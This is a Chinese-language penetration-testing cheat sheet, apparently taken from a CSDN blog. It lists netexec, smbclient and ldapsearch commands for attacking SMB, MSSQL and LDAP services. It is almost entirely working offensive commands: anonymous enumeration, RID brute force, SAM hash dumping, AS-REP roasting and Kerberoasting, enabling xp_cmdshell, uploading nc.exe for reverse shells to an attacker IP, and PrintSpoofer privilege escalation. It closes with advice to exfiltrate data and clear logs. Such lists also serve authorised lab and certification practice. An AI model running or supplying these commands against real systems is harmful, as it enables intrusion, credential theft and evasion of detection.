SMB 枚举与利用清单
🔍 SMB 枚举与连接
# 尝试空会话连接(Null Session)
smbclient -N -U "" -L \\<IP>
smbclient -N -U "test" -L \\<IP>
smbclient -N -U "Guest" -L \\<IP>
# 下载共享中的所有文件
nxc smb $IP -u '' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
# 枚举 SMB 共享
netexec smb $IP -u '' -p '' --shares
# 枚举 SMB 用户
netexec smb $IP -u '' -p '' --users | grep -E "SMB\s+.*\s+[A-Za-z]+\.[A-Za-z]+" | awk '{print $5}' > users.txt
# RID 暴力破解以发现更多用户
netexec smb $IP -u '' -p '' --rid-brute
# 测试远程命令执行(RCE)
nxc smb $IP -u 'Administrator' -p 'P@ssw0rd' -x whoami
🔓 提权与命令执行
# 导出 SAM 中的哈希
nxc smb $IP -u 'UserName' -p 'PASSWORDHERE' --sam
# 从 secretsdump 提取用户名与哈希
grep -oP '^[^:]+:\d+:[a-f0-9]{32}:[a-f0-9]{32}' secretsdump.txt | awk -F: '{print $1}' > secretsdumpusernames.txt
grep -oP '^[^:]+:\d+:[a-f0-9]{32}:[a-f0-9]{32}' secretsdump.txt | awk -F: '{print $4}' > secretsdumphashes.txt
📂 文件传输
# 下载工具文件(例如 Snaffler)
wget https://github.com/SnaffCon/Snaffler/releases/download/1.0.184/Snaffler.exe
# 上传文件到 SMB 共享
smbclient \\\\$IP\\share -U "$USER" -P "$PASSWORD" -c "put /path/to/local/file /remote/path/remote_file.txt"
🚀 获取反向 Shell
# 通过 SMB 上传 nc 反弹工具
nxc smb $IP -u '$USER' -p '$PASSWORD' --put-file /path/to/nc.exe /tmp/nc.exe
# 使用 nc 执行反向 shell
nxc smb $IP -u '$USER' -p '$PASSWORD' -x "C:\tmp\nc.exe $ATTACKER_IP 1234 -e cmd"
MSSQL 枚举与利用清单
🔍 枚举与连接
# 尝试匿名或用户身份连接
netexec mssql $IP -u '' -p ''
netexec mssql $IP -u '$DOMAIN\$USER' -p '$PASSWORD'
# RID 暴破获取用户信息
nxc mssql $IP -u $USER -p '$PASSWORD' --rid-brute
# 枚举数据库
netexec mssql $IP -u '$DOMAIN\$USER' -p '$PASSWORD' -q "SELECT name FROM sys.databases"
🔓 提权与命令执行
# 启用 xp_cmdshell
netexec mssql $IP -u '$DOMAIN\$USER' -p '$PASSWORD' --enable-xp-cmdshell
# 通过 xp_cmdshell 执行命令
netexec mssql $IP -u '$DOMAIN\$USER' -p '$PASSWORD' -x "whoami /all"
# 检查提权路径
netexec mssql $IP -u $USER -p '$PASSWORD' -M mssql_priv
# 检查模拟权限
netexec mssql $IP -u $USER -p '$PASSWORD' -M mssql_priv -o ACTION=privesc
📂 文件传输
# 上传文件
nxc mssql $IP -u $USER -p '$PASSWORD' --put-file /tmp/local_file C:\\Windows\\Temp\\remote_file.txt
# 下载文件
nxc mssql $IP -u $USER -p '$PASSWORD' --get-file C:\\Windows\\Temp\\remote_file.txt /tmp/local_file
🚀 反向 Shell 获取
# 上传 nc 工具
nxc mssql $IP -u $USER -p '$PASSWORD' --put-file nc.exe
# 启动反向 Shell
nxc mssql $IP -u $USER -p '$PASSWORD' -x "C:\Windows\Temp\nc.exe $ATTACKER_IP 1234 -e cmd"
# 利用 impersonation + PrintSpoofer 提权执行 Shell
nxc mssql $IP -u $USER -p '$PASSWORD' -x 'C:\Windows\Temp\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $ATTACKER_IP 1234 -e cmd"'
# 使用 Base64 PowerShell 获取 Shell(适用于 AD 环境)
nxc mssql $IP -u '' -p '' -x '<PAYLOAD REVERSE SHELL BASE64 HERE>'
LDAP 枚举与利用清单
🔍 枚举与连接
# 使用账号尝试连接 LDAP
nxc ldap $IP -u '$USER' -p '$PASSWORD'
# 枚举 LDAP 用户 / 组 / GPO
nxc ldap $IP -u '$USER' -p '$PASSWORD' --users
nxc ldap $IP -u '$USER' -p '$PASSWORD' --groups
nxc ldap $IP -u '$USER' -p '$PASSWORD' --gpos
# 通用对象搜索
ldapsearch -v -x -b "DC=example,DC=com" -H "ldap://$IP" "(objectclass=*)"
# 搜索 samaccountname 信息
ldapsearch -v -x -b "DC=example,DC=com" -H "ldap://$IP" "(objectclass=*)" | grep samaccountname
🔓 Kerberos 攻击与信息收集
# AS-REP Roasting
nxc ldap $IP -u $USER -p '' --asreproast output.txt
# 使用 hashcat 破解
# hashcat -m18200 output.txt wordlist.txt
# Kerberoasting
nxc ldap $IP -u '$USER' -p '$PASSWORD' --kerberoasting output.txt
# 使用 hashcat 破解
# hashcat -m13100 output.txt wordlist.txt
# 枚举用户描述字段
nxc ldap $IP -u '$USER' -p '$PASSWORD' -M get-desc-users
# 使用 BloodHound 收集 AD 信息
nxc ldap $IP -u 'users.txt' -p 'passwords.txt' --bloodhound -c all --dns-server $DNS_SERVER
📂 文件传输(LDAP 环境)
# 上传文件
nxc ldap $IP -u '$USER' -p '$PASSWORD' --put-file /tmp/local_file /remote/path/remote_file.txt
# 下载文件(如目标允许)
nxc ldap $IP -u '$USER' -p '$PASSWORD' --get-file /remote/path/remote_file.txt /tmp/local_file
🚀 获取反向 Shell(LDAP 环境)
# 上传 nc 工具
nxc ldap $IP -u '$USER' -p '$PASSWORD' --put-file nc.exe /tmp/nc.exe
# 执行反向 Shell
nxc ldap $IP -u '$USER' -p '$PASSWORD' -x "C:\tmp\nc.exe $ATTACKER_IP 1234 -e cmd"
# 利用提权工具执行 Shell(如 impersonation 成功)
nxc ldap $IP -u '$USER' -p '$PASSWORD' -x 'C:\tmp\PrintSpoofer64.exe -c "C:\tmp\nc.exe $ATTACKER_IP 1234 -e cmd"'
# PowerShell 反向 Shell(Base64 编码)
nxc ldap $IP -u '$USER' -p '$PASSWORD' -x '<PAYLOAD REVERSE SHELL BASE64 HERE>'
🔧 其他 LDAP 利用方式
# 搜索描述字段中的敏感信息
ldapsearch -v -x -b "DC=example,DC=com" -H "ldap://$IP" "(objectclass=*)" | grep description
# 通配符搜索整个域
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" "(objectclass=*)"
🛠️ 渗透流程建议
✅ 前期准备
- 网络探测与端口扫描(Nmap, Masscan)
- 识别开放服务与版本
- 初步信息收集(Banner、SMB/LDAP 匿名访问等)
⚙️ 利用阶段
- 尝试已识别服务的漏洞利用
- 获取初始访问权限(低权限账号、RCE 等)
🔄 后渗透操作
- 横向移动、权限提升
- 凭证抓取、内网信息收集
- 敏感数据搜集与 exfiltration
🧹 痕迹清除与文档记录
- 删除上传文件、清空日志
- 编写漏洞报告与复现过程
原文 https://blog.csdn.net/2301_79518550/article/details/148607474